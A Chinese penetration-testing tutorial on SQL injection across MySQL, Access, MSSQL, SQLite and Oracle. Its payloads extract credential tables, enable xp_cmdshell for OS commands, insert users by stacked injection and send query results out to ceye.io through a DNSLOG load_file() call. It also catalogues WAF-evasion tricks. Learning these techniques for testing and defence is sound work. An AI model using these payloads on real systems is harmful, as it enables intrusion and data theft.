SQL注入

SQL注入

SQL注入_第1张图片

产生原理

  1. 参数的传递
  2. 数据的接收
  3. 数据的交互
  4. 数据库的执行

这四个步骤处理不当时,会产生注入点

通过参数传递一个数据,传入的数据直接拼接到之前定义好的SQL语句中,由于未作过滤,可以将一些传递恶意SQL进行拼接,达到执行恶意SQL语句的效果

产生条件

  1. 可控变量
  2. 可控变量带入数据库查询
  3. 变量无过滤或过滤不严谨

危害

可以对数据库进行增、删、改、查等操作
一定条件情况下可以通过注入点直接获取权限

数据库类型

MySQL

SQL注入_第2张图片

注入点

?example and 1=1 页面正常
?example and 1=2 页面错误
则变量example可能存在注入点

找出注入点后,通过 order by x 获取表的列数
得到列数后,通过 union select 1,2,3,…,x 找出显示位
在显示位中插入SQL语句进行注入

信息收集

数据库版本:version()
数据库名:database()
数据库用户:user()
操作系统:@@version_compile_os

数据注入

低版本

MySQL版本低于5.0,一般通过字典暴力破解,或通过文件读取收集路径信息

高版本

在高于MySQL5.0的版本中,默认定义了information_schema数据库,用来存储数据库元信息,其中有表schemata,table和column

  • schemata表中,使用了schema_name字段存储数据库名
  • table表中,分别用table_schema和table_name字段存储数据库名和表名
  • column表中,则有table_schema,table_name和column_name

高权限注入

跨库查询

利用information_schema数据库,获取其他数据库的信息,实现跨库查询

获取所有数据库名:union select 1,group_concat(schema_name),3,4 from information_schema.schemata

查询指定数据库的表名信息:union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=’example_database_name

查询指定表的列名信息:union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=’example_database_name’ and table_name=’example_table_name

查询指定表指定数据: union select 1,user,password,4 from example_database_name.example_table_name

跨库查询的必要条件是用户为root权限
普通用户大概率无权限对其他数据库进行操作

文件读写

load_file() :读
into outfile 或 into dumpfile :写

select load_file(‘C:/test.txt’)
select ‘x’ into outfile ‘D:/test.txt’

常见读写路径获取方法
  • 报错显示:网站报错时会显示报错处路径
  • 遗留文件:phpinfo.php、php.php、test.php等文件,通过扫描得到
  • 路径爆破:知道搭建网站用的程序,可以搜索程序相关路径,进行爆破
  • 平台配置文件:读取搭建平台的配置文件
常见读取文件列表

常见的load_file()读取的敏感信息

防注入手段

魔术引号

PHP在开启魔术引号的情况下,输入数据中的单引号(‘)、双引号(“)、反斜杠()与空格( )等字符会被加上反斜杠转义。PHP6中删除了这个选项

绕过方法:通过编码或宽字节绕过

内置函数

addslashes() 效果同魔术引号

is_int()、is_integer()、is_long() :输入的参数必须为整数,否则不接受。无法绕过

关键字过滤

把特定的关键字替换为空( )或把含有特定关键字的语句丢弃

绕过方法:关键字大小写、编码、双写

WAF

一般基于上述内置函数和关键字过滤,主要是关键字

MySQL身份认证绕过漏洞

MySQL身份认证绕过漏洞

ACCESS

数据库形式

ACCESS数据库没有数据库名,每个数据库单独保存在网站源码下面,注入时不需要数据库名
各个数据库互不相关,不存在跨库注入
ACCESS数据库功能少,文件读写等诸多操作不能实现
ACCSEE数据库没有 information_schema 表,只能暴力猜解

ACCESS注入

  1. 判断注入点
  2. 判断字段数
  3. 猜表名 union select 1,2,...,n from 猜测的表名
  4. 猜列名 union select 1,猜测的列名,...,n from 表名

偏移注入

由于ACCESS注入只能暴力猜测,所以常会出现猜测不出的情况
当知道表名,但是列名获取不到时,可以尝试使用偏移注入

偏移注入:根据一个较多字段的表,对一个较少字段的表进行偏移注入,一般是联合查询

假设当前使用表有16个字段,admin表有4个字段

  1. 猜字段数:

    利用 * 代表admin表中的字段

    union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from admin (页面错误)
    union select 1,2,3,4,5,6,7,8,13,14,* from admin (页面错误)
    ……
    union select 1,2,3,4,5,6,7,8,9,10,11,12,* from admin (页面正常)

    说明admin表中有 16-12=4 个字段

  2. inner join连接查询:

    1. 一级偏移:

      需要再减去4个字段,即剩下16-8=8个字段

      union select 1,2,3,4,5,6,7,8,* from (admin as a inner join admin as b on a.id=b.id)

      union select 1,2,3,4,5,6,7,8,a.id,* from (admin as a inner join admin as b on a.id=b.id)

      union select 1,2,3,4,5,6,7,8,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)

      SQL注入_第3张图片

      没有爆出重要信息,继续注入

    2. 若上述两种情况还是报错,或者没有爆出重要信息,则在添加一张表,进行二级偏移:

      同理,还需在减去4个字段,即剩下16-12=4个字段

      union select 1,2,3,4,* from ((admin as a inner join admin as?b on a.id=b.id) inner join admin as c on a.id=c.id)

      SQL注入_第4张图片

      爆出了账户名和密码

MSSQL

基础知识

MSSQL系统自带了一个master库

在每个MSSQL库中,系统都自带了一个sysobjects表
此表中有三个有用字段,NAME、XTYPE、和ID。NAME为表名信息;XTYPE代表表的类型,有两个参数,S为系统自带表,U为用户创建的表;ID字段的值用来连接syscolumns表

XTYPE常见类型:

类型 含义
U 表(用户定义类型)
V 视图
P 存储过程
X 拓展存过程

MSSQL常用参数:

  • 数据库版本:@@version
  • 服务器主机信息:@@servername
  • 数据库名称:db_name()
  • 当前用户:user
  • 数据库权限:is_srvrolemember()

注入

报错注入

  1. 判断是否是MSSQL数据库exists(select * from sysobjects)exists (select count(*) from sysobjects)

  2. 判断当前数据库用户 exists(select is_srvrolemember('sysadmin'))

  3. 判断当前用户读写权限 exists(select is_srvrolemember('db_onwer'))

  4. 判断是否有public权限,可以爆表 exists(select is_srvrolemember('public'))

  5. 查看当前数据库版本:

    id=1 and 1=(select @@version)
    id=@@version
    id=1 and 1=(convert(int,@@version))
    id=convert(int,@@version)
    

    报错注入原理:

    and 1是int类型,而@@version是字符类型,类型不匹配,从而报错爆出相关信息SQL注入_第5张图片

    convert函数利用原理:

    对于convert(int,@@version),convert函数会先执行第二个参数的SQL语句,然后尝试转换成int类型,但由于查询结果无法转换,从而爆出错误。显示结果与上图一致

    1. 获取第一个用户创建的数据库名称select top 1 name from master..sysdatabases where dbid>4

    top 1 表示查询结果只显示首条记录

    对于master…sysdatabases:在master数据库的sysdatabases视图中,存储了所有数据库的名称SQL注入_第6张图片

    而dbid 1-4 的数据库是MSSQL自带的,真正手动创建的数据库为后三个,以搭建环境为准,只有最后一个才是用户创建的数据库

    1. 获取所有数据库名称 id=1 and 1=(select name from master..sysdatabases for xml path) (以xml形式展现查询结果)
    1. 获取网站数据库的第一个表名 select top 1 name from sysobjects where xtype=‘u’

    2. 获取当前数据库的表名 select top 1 table_name from information_schema.columns

      SQL注入_第7张图片

    3. 获取所有表名 select name from sysobjects for xml path

    1. 获取列名

      select top 1 name from syscolumns where id=(select id from sysobjects where name='users')
      -- 0x7573657273为user十六进制值
      convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7573657273 as varchar))
      

      SQL注入_第8张图片

  6. 获取数据

    select top 1 id from users
    convert(int,(select top 1 id from users))
    

联合注入

  1. 判断字段长度 order by

  2. 寻找显示位

    1. union all select null,nul,…,null

    2. 依次将每个数据列转换为@@version或其他字符型数据,寻找字符显示位 union all select @@version,nul,…,null

      union all select null,@@version,…,null

  3. 获取表信息

    id=0 union all select null,(select top 1 name from sysobjects where xtype='u'),null,null
    id=0 union all select null,(select top 1 table_name from information_schema.columns),null,null
    
  4. …………

xp_cmdshell执行命令

xp_cmeshell:运行系统命令行的系统存储过程,可以执行系统命令

  1. 判断xp_cmdshell是否存在 exists(select count(*) from master..sysobjects where xtype='x' and name='xp_cmdshell')

  2. 开启xp_cmdshell

    id=1 ;exec sp_configure 'show advanced options', 1;reconfigure;--
    id=1 ;exec sp_configure 'xp_cmdshell',1;reconfigure;--
    
  3. 执行命令 id=1;exec master..xp_cmdshell “mkdir c:\test”

其他

在高权限下,还可以进行sp_oracreate执行系统命令、xp_regwrite操作注册表、LOG备份getshell、权限差异备份getshell等操作

SQLite

系统内置表:sqlite-master,存在字段type、name、tbl_name、rootpage、sql
其中有用的字段:type为类型(表、视图、触发器等)、name为表名、sql为执行过的建立表的sql语句

  • 查询表:union select 1,name,3,4 from sqlite_master where type='table' limit 0,1
  • 查询字段:union select 1,sql,3,4 from sqlite_master limit 0,1(通过查询到的sql语句得到字段信息)
  • 查数据:union select 1,password,3,4 from user limit 0,1
  • 也可使用group_concat:union select 1,group_concat(name),3,4 from user limit 0,1

PostgreSQL

与MySQL大体上一致,也存在information_schema表

Oracle

Oracle中存在dual表
dual是虚拟表,用来构成select的语法规则,永远只有一条记录(一行一列)
Oracle查询语句获取数据时需要跟上表名,没有表的情况下使用dual

判断数据库类型

  1. and lenght(‘a’)=1 (MSSQL和MySQL使用len())
  2. 通过dual and (select count(*) from dual)>0

注入

与MySQL大体上一致

  • 查询出所有的表 select * from all_tables

  • 查询出当前用户的表 select * from user_tables

  • 查询出所有的字段 select * from all_tab_columns

  • 查询出当前用户的字段 select * from user_tab_columns

  • 查版本 select * from v$version

  • rownum=1 限制输出数据为一行

MongoDB

MongoDB是非关系型数据库,使用上与MySQL等关系型数据库差距大

可以使用工具NoSQLAttack(sqlmap不支持MongoDB)

提交方法

GET、POST、COOKIE、REQUEST、HTTP头等

  • GET:

    ​ URL:localhost:8081/test.php?example=123

    ​ 请求行:GET /test.php?example=123 HTTP/1.1

    ​ GET传参时,即使请求行中不是GET请求方法,也可以传参

  • POST:

    ​ 请求行:POST /test.php HTTP/1.1

    ​ 请求正文:example=123

    ​ POST注入常出现于登录框

  • COOKIE:

    ​ 请求头:Cookie:example=123

  • REQUEST:

    ​ 使用REQUEST方法时,HTTP请求头中的所有信息都会被获取

  • HTTP头:

    ​ 主要指利用$_SERVER变量,用来获取HTTP头的数据,如IP地址,User-Agent等

    ​ 在数据包里存在注入机会叫做HTTP头注入

数据类型

数字、字符、搜索、JSON等

不同的参数会有着不同的干扰符号

  • 数字:直接给变量赋值,也可能用引号包裹

  • 字符:用引号包裹

  • 搜索:模糊查询时,两端会有%、_,同时也会用引号包裹

  • JSON:一种数据存储格式

    JSON实例:

    {
            
         "example":[
             {
            "name":"abc" , "age":"18"},
             {
            "name":"def" , "age":"20"}
         ]
    }
    

    注入:

    {
            
        "a":"1 and 1=1",
        "b":"2",
        "c":"3"
    }
    

查询方式

根据网站功能的不同,网站使用的SQL语句也会不同,注入时需要根据具体情况使用不同的注入语句

  • select

    在网站中进行数据显示查询操作

    select * from test where id=$id

  • insert

    在网站中进行用户注册、购物车结账等操作

    insert into test (id,name,passwd) values (1,'admin','admin')

    注入时要注意闭合括号

  • update

    会员或后台数据同步或缓存等操作

    update test set passwd='$passwd' where name='admin'

  • delete

    后台管理删除文章、用户等操作

    delete from test where id=$id

  • order by

    结合表名或列名进行数据排序操作

    select * from test order by $id

    select * from test order by $order

回显/盲注

SQL注入时,大部分情况下是报错,或无回显的,这时候就要用到相关的报错注入或盲注进行后续操作

报错注入

在注入的过程中,发现SQL语句的报错信息会显示在页面中时,可以尝试报错注入

报错注入的原理就是在错误信息中执行SQL语句,由于触发报错的方式有很多,具体细节,也不尽相同,建议背公式即可

12种报错注入+万能语句 - 简书 (jianshu.com)

MySQL 常用报错注入原理分析 - Tri0mphe - 博客园 (cnblogs.com)

盲注

页面无回显时,根据逻辑判断注入结果

MySQL中常用的逻辑判断语句

like 'ad%' # 模糊查询,判断 ad 或 ad...是否成立

regexp '^admin[a-z]' # 正则,匹配 admin 及 admin...等

if(条件,5,0) # 条件成立 返回 5 反之 返回 0

sleep(5) # SQL 语句延时执行 5 秒

mid(a,b,c) # 从位置 b 开始,截取字符串 a 的 c 位

substr(a,b,c) # 从 b 位置开始,截取字符串 a 的 c 位(与mid()相同)

left(database(),1) # left(a,b)从左侧截取 a 的前 b 位

length(database())=8 # 判断当前数据库 database() 名的长度

ord/ascii(x)=97 # 判断 x 的 ascii 码是否等于 97

布尔盲注

根据页面返回的布尔类型状态,判断注入结果

例如:id=1' or length(database())>5--+
当页面显示正常时,说明当前数据库名称长度大于5;页面显示错误时,说明当前数据库名称小于等于5

延时注入

利用sleep()语句的延时性,以时间为判断条件,判断注入结果

例如:id=1' or if((length(database())>5),sleep(5),1)--+
当执行语句后,页面加载有明显停顿时,说明当前数据库名称长度大于5;无明显停顿时,说明当前数据库名称小于等于5

注入拓展

加解密注入

当注入点的参数进行了加密时,注入的payload也需要一并加密SQL注入_第9张图片

抓取的数据包中的cookie的参数经过base64加密,若直接进行注入,无回显SQL注入_第10张图片

将原参数解密后,与注入语句一并加密后注入,得到回显SQL注入_第11张图片

继续注入,得到当前数据库名称SQL注入_第12张图片

二次注入

二次注入是一种存储型注入,主要分为两步

  1. 插入恶意数据

    第一次在对数据库正常插入数据时,对数据中的特殊字符进行转义,在写入数据库时还是保留了原来的数据,但是数据本身的恶意内容任然存在

  2. 在数据插入数据库中之后,开发者认为数据是可信的。在下一次查询时,攻击者读取注入的恶意数据,或者开发者直接从数据库中取出了恶意数据却没有进行检验和处理,造成二次注入的发生

例:

创建用户的语句为 insert into users (name,passwd) values ('$user_name','$user_passwd')

在注册时使用用户名 admin'#

则在修改用户 admin'# 的密码时,修改语句会变为 update users set passwd='$passwd' where name='admin'#',修改密码的用户从 admin'# 变为了 admin

DNSLOG注入

DNSLOG注入也可以称之为DNS带外查询,是一种注入姿势,一般用于盲注,可以通过查询相应的DNS解析记录,来获取我们想要的数据

使用DNSLOG注入需要有自己的DNS服务器,也可以使用在线平台
http://admin.dnslog.link
http://ceye.io

payload:or (select load_file(concat('//',(select database()),'.bzgw02.ceye.io/abc')))--+

concat()函数起到连接字符串的功能,连接结果为//注入语句的结果.bzgw02.ceye.io/abc

连接的结果是UNC路径,是一种网络路径,格式为//server_name/share_name

注入语句的结果.bzgw02.ceye.io为server_name,abc为share_name

用load_file()访问这个路径就会在DNS服务器上留下解析记录,由于路径中包含了注入结果,在查看解析记录时就能看到注入的结果

SQL注入_第13张图片

image-20210908203829812

堆叠注入

堆叠注入即多条SQL语句一并执行,如在MySQL中使用 ; 作为一条语句的结束,利用这一点就可以多条语句同时注入

例如:http://localhost/Less-38/index.php?id=1 ';insert into users(id,username,password) values ( 39, 'less38 ', 'hello ')--+

堆叠注入的可以运用于创建数据库用户来登录注入的数据库,但是前提是网站的管理员必须是高权限才能完全创建用户。也可以使用update更新管理员用户密码

WAF绕过

应用层

  • 大小写/关键字替换
    id=1 UnIoN/**/SeLeCT 1,2,db_name()

  • 各种编码
    大小写,URL,hex,Unicode 等

  • 注释使用
    // – --+ # /**/ + :%00 /!**/等

  • 双写
    union = uunionnion

  • 等价替换
    and=&、or=|
    Hex()、bin() 等价于 ascii()
    Sleep() 等价于 benchmark()
    Mid()、substring() 等价于 substr()
    @@user 等价于 User()
    @@Version 等价于 version()

  • 更改请求提交方式
    GET POST COOKIE 等
    POST->multipart/form-data

  • 中间件 HPP 参数污染

    当同名参数出现多次,如?id=1&?id=2时,不同的中间件处理参数的方式不同

    常见中间件的处理方式

    中间件 参数获取函数 获取到的参数
    PHP/Apache $_GET(“par”) Last
    JSP/Tomcat Request.getParameter(“par”) First
    Perl(CGI)/Apache Param(“par”) First
    Python/Apache Getvalue(“par”) All(List)
    ASP/IIS Request.QueryString(“par”) All(comma-delimited string)

数据库特性

MySQL

  1. mysql 注释符有三种:#、/*…*/、-- … (注意–后面有一个空格)

  2. 空格符:[0x09,0x0a-0x0d,0x20,0xa0]

  3. 特殊符号:%0a 换行符
    可结合注释符使用%23%0a,%2d%2d%0a。

  4. 内联注释:
    /*!UnIon12345SelEcT*/ 1,user()
    数字范围 1000-50540

    /*!*/是MySQL的内联注释,当内联注释中的数字代表数据库版本号

    当实际版本号大于注释中的版本号时,注释中的SQL语句会被执行

  5. mysql 黑魔法
    select{x id}from {x11 test.admin};

MSSQL

  1. 用来注释掉注射后查询的其余部分:

    /* C 语言风格注释

    – SQL 注释

    ; 00% 空字节

  2. 空白符:[0x01-0x20]

  3. 特殊符号:%3a 冒号
    id=1 union:select 1,2 from:admin

  4. 函数变形:如 db_name[空白字符]()

Oracle

  1. 注释符:–、/**/
  2. 空白字符:[0x00,0x09,0x0a-0x0d,0x20]

FUZZ(模糊测试)

以MySQL为例:SELECT * FROM admin WHERE id=1 【位置一】 union 【位置二】 select 【位置三】 1,2,db_name() 【位置四】 from 【位置五】 admin

位置一:参数和union之间的位置

  1. 注释,/**/、/*!50000union*/等形式:

    SELECT \* FROM admin WHERE id = 1 union/\*\*/select 1,2,db_name() from admin

  2. 空白字符:

    MySQL中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;

    id=1%0aunion select 1,2,db_name() from admin

    其他形式如:%1%20、%3920、%40%20、%23%0a、%2d%2d%0a

  3. 浮点数形式 :1.1

    SELECT \* FROM admin WHERE id = 1.0union select 1,2,db_name() from admin

    SELECT \* FROM admin WHERE id = 1.union select 1,2,db_name() from admin

    其他形式如:%1%2e、%2%2e

  4. 1E0的形式:

    SELECT \* FROM admin WHERE id = 1E0union select 1,2,db_name() from admin

  5. Nunion的形式:

    SELECT \* FROM admin WHERE id = Nunion select 1,2,db_name() from admin

位置二:union和select之间的位置

  1. 空白字符

  2. 注释符

  3. 括号

    SELECT \* FROM admin WHERE id = 1 union(select 'test',(select db_name() from admin limit 0,1))

    SELECT \* FROM admin WHERE id = 1 union(select 'test',(select 'asd'),(select db_name() from admin limit 0,1))

位置三:select和查询参数之间的位置

  1. 空白字符

  2. 注释符

  3. 其他字符

    %21 ! 叹号

    %2b + 加号

    %2d - 减号

    %40 @ 电子邮件符号

    %7e ~ 波浪号

    SELECT \* FROM admin WHERE id = 1 union select~1,2,db_name() from admin

  4. 其他方式:

    括号: SELECT \* FROM admin WHERE id = 1 union select(1),(2),db_name() from admin

    内联: SELECT \* FROM admin WHERE id = 1 union /!12345select/1,2,db_name() from admin

    @字符:SELECT \* FROM admin WHERE id = 1 union select@1,2,db_name() from admin

    {括号:SELECT \* FROM admin WHERE id = 1 union select {x 1},2,db_name() from admin

    引号: SELECT \* FROM admin WHERE id = 1 union select"1",”2”,db_name() from admin

    N: SELECT \* FROM admin WHERE id = 1 union selectN,db_name() from admin

位置四:查询参数和from之间的位置

  1. 空白字符

  2. 注释符

  3. 其他符号

    1. 波浪号%60: SELECT \* FROM admin WHERE id = 1 union(select 1,2,(select schema_name~from information_schema.SCHEMATA limit 0,1))

    2. 内联注释: SELECT \* FROM admin WHERE id = 1 union(select 1,2,(select/!schema_name/from information_schema.SCHEMATA limit 1,1))

    3. {括号: SELECT \* FROM admin WHERE id = 1 union(select 1,2,(select{x schema_name}from information_schema.SCHEMATA limit 1,1))

    4. 括号: SELECT \* FROM admin WHERE id = 1 union(select 1,2,(select(schema_name)from information_schema.SCHEMATA limit 1,1))

    5. 双引号: SELECT \* FROM admin WHERE id = 1 union select 1,2,db_name()""from admin

    6. 括号后面加字母:SELECT \* FROM admin WHERE id = 1 union select 1,2,db_name()A from admin

    7. 破浪号加字母: SELECT \* FROM admin WHERE id = 1 union select 1,2,db_name()~b from admin

  4. 浮点数、1E0的形式、N形式

    id=1 union%0cselect user(),2.0from admin

    SELECT \* FROM admin WHERE id = 1 unionselect db_name(),2.0from admin

    SELECT \* FROM admin WHERE id = 1 union select db_name(),8e0from admin

    SELECT \* FROM admin WHERE id = 1 union select db_name(),Nfrom admin

位置五:from后面的位置

  1. 空白字符

  2. 注释符

  3. 其他字符

    1. 破浪号: id=1 union select 1,(select(schema_name)from~information_schema.SCHEMATA limit 0,1)

    2. 内联注释: id=1 union select 1,(select(schema_name)from/!12345information_schema.SCHEMATA/ limit 0,1)

    3. {括号: id=1 union select 1,(select(schema_name)from {x information_schema.SCHEMATA} limit 0,1)

    4. 括号: id=1 union select 1,(select(schema_name)from(information_schema.SCHEMATA) limit 0,1)

    5. 同一个表的情况下,大小写字母加数字都可以:

      SELECT \* FROM admin WHERE id = 1 union select 1,user() from123asdadmin

逻辑层

  1. 逻辑问题

    1. 云 waf 防护,类似CDN,尝试查找站点的真实 IP
    2. 当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入
    3. HTTP 和 HTTPS 同时开放服务,没有做 HTTP 到 HTTPS 的强制跳转,导致 HTTPS 有 WAF 防护,HTTP没有防护
    4. 特殊符号%00,部分 waf 遇到%00 截断,只能获取到前面的参数,无法获取到后面的有害参数
      输 入 ,比如:id=1%00and 1=2 union select 1,2,column_name from
      information_schema.columns
  2. 性能问题
    ?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9

    0xA*1000 指 0xA 后面”A"重复 1000 次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里 1000 只做参考也许在有些情况下可能不需要这么长也能溢出。

    ?a0=0&a1=1&…&a100=100&id=1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemata

    WAF获取请求参数,只获取前 100 个参数,第 101 个参数并没有获取到,导致 SQL 注入绕过。

  3. 白名单

    1. IP 白名单
      从网络层获取的 ip,这种一般伪造不来,如果是获取客户端的 IP,这样就可能存在伪造 IP 绕过的情况。
      测试方法:修改 http 的 header
      X-forwarded-for
      X-remote-IP
      X-originating-IP
      x-remote-addr
      X-Real-ip

    2. 静态资源
      特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css 等等),类似白名单机制,waf 为了检测效率,不去检测这样一些静态文件名后缀的请求。
      example.com/sql.php?id=1 (被拦截)
      example.com/sql.php/1.js?id=1 (请求成功)
      example.com/sql.php/1.txt?id=1 (请求成功)

    3. url 白名单
      为了防止误拦,部分 waf 内置默认的白名单列表,如 admin/manager/system 等管理后台。只要 url 中存在白名单的字符串,就作为白名单不进行检测。常见的 url 构造姿势:

      example.com/sql.php/admin.php?id=1
      example.com/../../../manage/../sql.asp?id=2

    4. 爬虫白名单

      当对一个网站一段时间内访问的流量过大时,可能会被WAF屏蔽,可以利用搜索引擎爬虫的User-Agent伪装成搜索引擎爬虫,防止被WAF屏蔽

      搜索引擎蜘蛛爬虫 User Agent 一览

你可能感兴趣的:(渗透测试,渗透测试)